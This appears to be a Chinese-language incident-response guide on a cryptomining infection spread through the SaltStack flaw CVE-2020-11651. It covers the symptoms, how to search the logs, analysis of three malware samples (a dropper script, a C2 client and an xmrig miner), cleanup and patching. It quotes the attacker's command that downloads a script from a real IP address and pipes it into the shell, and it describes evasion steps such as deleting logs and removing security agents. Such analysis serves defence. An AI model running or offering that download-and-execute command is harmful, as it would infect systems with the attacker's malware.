SaltStack漏洞导致的挖矿排查思路
描述
SaltStack
是一套C/S
架构的运维工具,服务端口默认为4505
/4506
,两个端口如果对外网开放危害非常大,黑客利用SaltStack
的远程命令执行漏洞CVE-2020-11651
可以直接绕过Salt-Master
的认证机制,调用相关函数向Salt-Minion
下发指令执行系统命令,最终导致挖矿。
现象
受害Salt-Minion
机器上存在挖矿进程salt-minions
。
tmp
目录下存在可疑二进制文件:
salt-store
salt-minions
排查
- 确定所有
salt-master
机器列表; - 查看当天
salt-master
的日志文件/var/log/salt/minion
,是否存在可疑命令执行,筛选cmdmod
:
- 找到可疑的命令执行内容:
(curl -s 217.12.210.192/sa.sh||wget -q -O- 217.12.210.192/sa.sh)|sh
- 确认
SaltStack
版本,是否存在漏洞CVE-2020-11651
。
样本分析
共三个样本:
文件名 | MD5 |
---|---|
sa.sh | 204780df7dd946401d6e545a130689fb |
salt-store | 8ec3385e20d6d9a88bc95831783beaeb |
salt-minions | a28ded80d7ab5c69d6ccde4602eef861 |
sa.sh
这是黑客原始下载执行的脚本文件,salt-store
从这里下载下载的。
该脚本执行后首先进行一些系统设置:关闭防火墙、设置ulimit、关闭防火墙、关闭watchdog告警,并且将系统syslog日志删除:
然后检测服务器上是否安装安骑士和云镜服务,有则将进程停止并下载对应的卸载脚本进行卸载操作:
之后通过netstat
筛选服务器开启的端口和连接,将对应进程全部停止:
然后通过ps
、pkill
、pgrep
、killall
筛选进程名和参数,将其对应的进程杀掉,并且还会清理cpu资源占用超过10%的进程,保证有更多的硬件资源可以利用:
之后会清理/tmp
、/etc/
下其他挖矿进程的二进制文件:
该脚本还会清理docker
运行的挖矿程序:
脚本最后会从远程下载恶意二进制文件salt-store
到/tmp
或/var/tmp
下:
download2
函数中会从bitbucket
下载恶意二进制文件,如果失败会调用download3
函数从217.12.210.192
下载:
下载之后,将包含以下字段的计划任务删除,这一步可以将其他挖矿和一些HIDS服务的守护任务删掉:
salt-store
该文件是C2
客户端,从控制端接收指令执行。
运行后该程序会释放矿机文件salt-minions
到/tmp/
下:
salt-store
运行期间会和以下url
进行http
交互:
对该文件静态分析后,发现该程序具有如下功能,包括运行矿机、执行远端指令、端口扫描等:
从样本分析结果看,可以判定这是一个命令控制系统(C2)的客户端,程序运行之后主机会在远端上线,黑客可以登录远端给客户机下发指令启动挖矿程序。
salt-minions
由salt-store
运行时释放。
该文件有明显的xmrig
特征:
所以该文件是一个xmrig
的矿机。
清理恢复
清理步骤
- 停止恶意进程:
kill -9 `pidof salt-store` && kill -9 `pidof salt-minions`
- 删除恶意文件:
rm -rf /tmp/salt-* /var/tmp/salt-*
整改恢复
- 升级
SaltStack
到最新版本,修补CVE-2020-11651
漏洞,升级前建议做好快照备份措施,安全版本下载地址参考:https://repo.saltstack.com; - 设置
SaltStack
为自动更新,及时获取相应补丁; - 将
Salt Master
默认监听端口(默认4505
和4506
)设置为禁止对公网开放,或仅对可信对象开放,避免被黑客利用;
相关链接
SaltStack漏洞导致的挖矿排查思路的更多相关文章
- Linux入侵类问题排查思路
深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...
- Mysql 高负载排查思路
Mysql 高负载排查思路 发现问题 top命令 查看服务器负载,发现 mysql竟然百分之两百的cpu,引起Mysql 负载这么高的原因,估计是索引问题和某些变态SQL语句. 排查思路 1. 确定高 ...
- 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路
前言 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题.当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运 ...
- Linux 服务器性能问题排查思路
一个基于 Linux 操作系统的服务器运行的同时,也会表征出各种各样参数信息.通常来说运维人员.系统管理员会对这些数据会极为敏感,但是这些参数对于开发者来说也十分重要,尤其当你的程序非正常工作的时候, ...
- MySql CPU彪高到百分之1000的排查思路
You need to enable JavaScript to run this app. 原文内容来自于LZ(楼主)的印象笔记,如出现排版异常或图片丢失等情况,可查看当前链接:https:// ...
- Flink on YARN(下):常见问题与排查思路
Flink 支持 Standalone 独立部署和 YARN.Kubernetes.Mesos 等集群部署模式,其中 YARN 集群部署模式在国内的应用越来越广泛.Flink 社区将推出 Flink ...
- 超长可视化指南!带你理清K8S部署的故障排查思路,让bug无处遁形
本文将帮助你厘清在Kubernetes中调试 deployment的思路.下图是完整的故障排查思路,如果你想获得更清晰的图片,请在公众号后台(RancherLabs)回复"troublesh ...
- FeignClient注解属性configuration不生效问题排查思路
FeignClient注解属性configuration不生效问题排查思路 问题背景 我们知道,"如果需要自定义单个Feign配置,Feign的@Configuration 注解的类不能与@ ...
- Dubbo No provider问题排查思路
本文已收录 https://github.com/lkxiaolou/lkxiaolou 欢迎star. 不想看字的同学可直接划到底部查看思维导图 问题分析 使用过Dubbo的朋友很多都碰到过如下报错 ...
随机推荐
- python selenium使用
安装selenium #Python pip install selenium #Anaconda3 conda install selenium 下载浏览器版本对应的驱动文件 chrome chro ...
- mappedBy和JoinColumn,onetomany。
无论是onetomany,还是manytoone.都要设置级联关系(cascade),否则不会储存关联的数据. @Entity public class Clazzss { @Id @Generate ...
- File类心得
File类心得 在程序中设置路径时会有系统依赖的问题,java.io.File类提供一个抽象的.与系统独立的路径表示.给它一个路径字符串,它会将其转换为与系统无关的抽象路径表示,这个路径可以指向一个文 ...
- SwiftUI - 一步一步教你使用UIViewRepresentable封装网络加载视图(UIActivityIndicatorView)
概述 网络加载视图,在一个联网的APP上可以讲得上是必须要的组件,在SwiftUI中它并没有提供如 UIKit 中的UIActivityIndicatorView直接提供给我们调用,但是我们可以通过 ...
- F. Count Prime Pairs
单点时限: 2.0 sec 内存限制: 512 MB 对于数组a,如果i≠j并且ai+aj是一个质数,那么我们就称(i,j)为质数对,计算数组中质数对的个数. 输入格式 第一行输入一个n,表示数组的长 ...
- Gradle系列之Groovy基础篇
原文发于微信公众号 jzman-blog,欢迎关注交流. 上一篇学习了 Gradle 的入门知识,Gradle 基于 Groovy,今天学习一下 Groovy 的基础知识,Groovy 是基于 JVM ...
- asp.net core webapi Session 跨域
在ajax 请求是也要加相应的东西 $.ajax({ url:url, //加上这句话 xhrFields: { withCredentials: true } success:function(re ...
- Pytorch实现的语义分割器
使用Detectron预训练权重输出 *e2e_mask_rcnn-R-101-FPN_2x* 的示例 从Detectron输出的相关示例 使用Detectron预训练权重输出 *e2e_keypoi ...
- Solr搜索结果高级设置
一.选择响应格式 XML是Solr的默认响应格式.从Solr的角度看,什么样的响应格式并不重要.Solr可以返回XML.JSON.Ruby.Python.PHP.二进制Java等,甚至是自定义格式.使 ...
- /uesr/local/hadoop/tmp/mapred有锁
原因: /usr/local/hadoop/tmp/mapred 有锁 解决:修改改文件的权限 在终端输入: cd /usr/local/hadoop/tmp sudo chmod 777 map ...